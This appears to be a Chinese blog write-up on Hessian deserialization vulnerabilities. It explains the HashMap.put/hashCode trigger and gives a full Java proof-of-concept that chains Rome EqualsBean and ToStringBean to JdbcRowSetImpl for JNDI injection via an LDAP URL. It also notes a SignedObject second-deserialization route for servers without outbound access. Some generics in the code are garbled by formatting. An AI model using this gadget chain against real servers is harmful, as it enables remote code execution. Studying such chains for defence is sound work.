Hessian反序列化漏洞学习记录

►►►

出品|博客(ID:moon_flower)
声明

以下内容,来自先知社区的u21h2作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。

►►►

环境搭建

关于RPC:

Remote Procedure Call Protocol,远程过程调用协议,和RMI(Remote Method Invocation,远程方法调用)类似,都能通过网络调用远程服务,但RPC是以标准的二进制格式来定义请求的信息,可用实现跨语言和跨操作系统通讯。

通讯过程:

  1. 客户端发起请求,并按照RPC协议格式填充信息

  2. 填充完毕后将二进制格式文件转化为流,通过传输协议进行传输

  3. 服务端接收到流后,将其转换为二进制格式文件,并按照RPC协议格式获取请求信息并进行处理

  4. 处理完毕后将结果按照RPC协议格式写入二进制格式文件中并返回

maven添加扩展:

            <dependency>
        <groupId>com.caucho</groupId>
        <artifactId>hessian</artifactId>
        <version>4.0.63</version>
    </dependency>

►►►

漏洞分析

漏洞的触发点:HessianInput#readObject,由于Hessian会加你个序列化的结果处理成一个Map,所有序列化的结果的bytes的第一个 byte总为M(77)。

图片接着调用readMap进行进一步解析,接着进入getDeserializer,然后创建一个 HashMap作为缓存,先将要反序列化的类作为key放入HashMap中
图片这里会调用HashMap.put方法,结合之前分析过的CC链,后续调用的hash函数能触发任意类的hashcode方法。那么只需要找一条入口为hashcode的反序列化链即可。

RomeXBean
Resin
SpringPartiallyComparableAdvisorHolder
SpringAbstractBeanFactoryPointcutAdvisor

打 Rome

poc:

package moonflower.hessian; 
import com.caucho.hessian.io.HessianInput; 
import com.caucho.hessian.io.HessianOutput; 
import com.caucho.hessian.io.ObjectNameDeserializer; 
import com.rometools.rome.feed.impl.EqualsBean; 
import com.rometools.rome.feed.impl.ToStringBean; 
import com.sun.rowset.JdbcRowSetImpl; 
import java.io.ByteArrayInputStream; 
import java.io.ByteArrayOutputStream; 
import java.io.IOException; 
import java.io.Serializable;
 import java.lang.reflect.Array; 
 import java.lang.reflect.Constructor; 
 import java.lang.reflect.Field; 
 import java.util.HashMap;
 public class Hessian_Rome {     
 public staticbyte[] serialize(T o) throws IOException {         
  ByteArrayOutputStream bao = new ByteArrayOutputStream();       
 HessianOutput output = new HessianOutput(bao);      
output.writeObject(o);       
  System.out.println(bao.toString());      
 return bao.toByteArray();    
              }    
        public staticT deserialize(byte[] bytes) throws IOException {         ByteArrayInputStream bai = new ByteArrayInputStream(bytes);         HessianInput input = new HessianInput(bai);         Object o = input.readObject();         return (T) o;     }     public static void setValue(Object obj, String name, Object value) throws Exception {         Field field = obj.getClass().getDeclaredField(name);         field.setAccessible(true);         field.set(obj, value);     }     public static Object getValue(Object obj, String name) throws Exception {         Field field = obj.getClass().getDeclaredField(name);         field.setAccessible(true);         return field.get(obj);     }     public static void main(String[] args) throws Exception {         JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();         String url = "ldap://localhost:9999/EXP";         jdbcRowSet.setDataSourceName(url);         ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);         EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);         HashMap hashMap = makeMap(equalsBean, "1");         byte[] s = serialize(hashMap);         System.out.println(s);         System.out.println((HashMap)deserialize(s));     }     // 

用反射动态创建数组,防止在狗仔gadget的时候触发 put 方法导致RCE。

public static HashMapmakeMap (Object v1, Object v2) throws Exception {         
HashMaps = new HashMap<>();         
setValue(s, "size", 2);         
Class nodeC;        
 try {            
  nodeC = Class.forName("java.until.HashMap$Node");      
     }         
     catch (ClassNotFoundException e) {         
         nodeC = Class.forName("java.util.HashMap$Entry");   
               }         
               Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);         
               nodeCons.setAccessible(true);        
               Object tbl = Array.newInstance(nodeC, 2);        
               Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));        
               Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));         
setValue(s, "table", tbl);         return s;     } }

Rome的rce过程:
图片进入触发点,接着调用EqualBean的hashcode方法
图片接着会触发ToStringBean的toString方法(这里就有很多其它延申了,比如可以接一个 CC5)
图片接着进入JdbcRowSetImp的toString 方法,在其中会调用JdbcRowSetImp的 getter
图片

图片

当调用到getDatabaseMetaData的时候,会进入connect方法,进而调用 lookup触发jndi注入。

图片

图片

►►►

不出网的失败打法

参考 CC2,在ToStringBean.toString() 的地方能调用任意的getter,正常的思路是可以利用TemplatesImpl的getOutputProperties方法实现任意类加载,但这个思路在Hessian反序列化中是不行的!!!

先回顾一下正常的CC2,从Transformer开始,跟进到getTransletInstance中,并在其中实例化恶意class。
图片顺着调用栈向上找,恶意class的生成在defineTransl-etClasses中实现:
图片注意这里的_tfactory是传入的TransformerFactor-yImpl(因为默认为null,不传的话会直接触发异常)。

如果在Hessian反序列化中用TemplatesImpl代替ROME中的jndi注入,会在toString中调用TemplatesImpl的getOutputProperties,但这里重点关注传入的关键参数

图片跟进具体的调用
图片同样跟进到 defineTransletClasses 中,但这里的 _tfactory 却为空
图片找一下_tfactory的定义发现_tfactory是用transient修饰的,序列化对象的时候,这个属性就不会序列化到指定的目的地中,所以最后为空,也合情合理。
图片但CC2为什么可以?原因是TemplatesImpl的readObject的最后一句直接new了一个_tfactory(这也是为什么虽然王传的大部分CC2都要给 _tfactory传参但不传也行的原因),而直接拼Rome的链子不会用到原生的readObject,所以也不会实例化这个_tfactory。

图片

不出网的成功打法

利用了java.security.SignedObject ,直接打二次反序列化即可。

图片

►►►

参考

  • https://goodapple.top/archives/1193

  • https://f002.backblazeb2.com/file/sec-news-

  • backup/files/writeup/blog.csdn.net/_u011721501_article_details_79443598/index.html

  • https://su18.org/post/hessian/

欢迎关注长白山攻防实验室微信公众号
定期更新优质技术文字分享

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Hessian是一种基于Java的轻量级的远程调用协议,用于实现不同语言之间的通信。而Hessian反序列化漏洞是指在Hessian协议中,由于不充分的输入验证或者对用户输入数据的不完全信任,导致攻击者可以利用恶意构造的序列化数据,执行远程代码。这种漏洞在实际应用中可能会导致严重的安全问题,例如远程命令执行、拒绝服务等。 Hessian反序列化漏洞的出现与序列化和反序列化机制有关。在Java中,对象可以被序列化成字节流,然后通过网络传输到另一个系统或者磁盘中,之后再进行反序列化还原成原始对象。如果反序列化过程中未对字节流进行充分的验证,恶意用户可以构造特定的字节流,以实现执行恶意代码的目的。 为了防范Hessian反序列化漏洞,开发人员应该对用户输入进行完全的信任验证,采取严格的输入验证,禁止远程代码执行。另外,可以采用安全的序列化与反序列化机制,例如对序列化的数据进行数字签名或者加密,以确保数据的完整性和安全性。 在应对Hessian反序列化漏洞时,开发团队应该及时更新相关的安全补丁,对可能存在漏洞的系统进行全面审查,修复潜在的安全问题,同时也应做好监控和日志记录工作,及时发现并应对可能的攻击行为。保护系统安全需要全员的努力,包括开发人员、安全专家和运维团队,共同为系统的安全稳定保驾护航。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值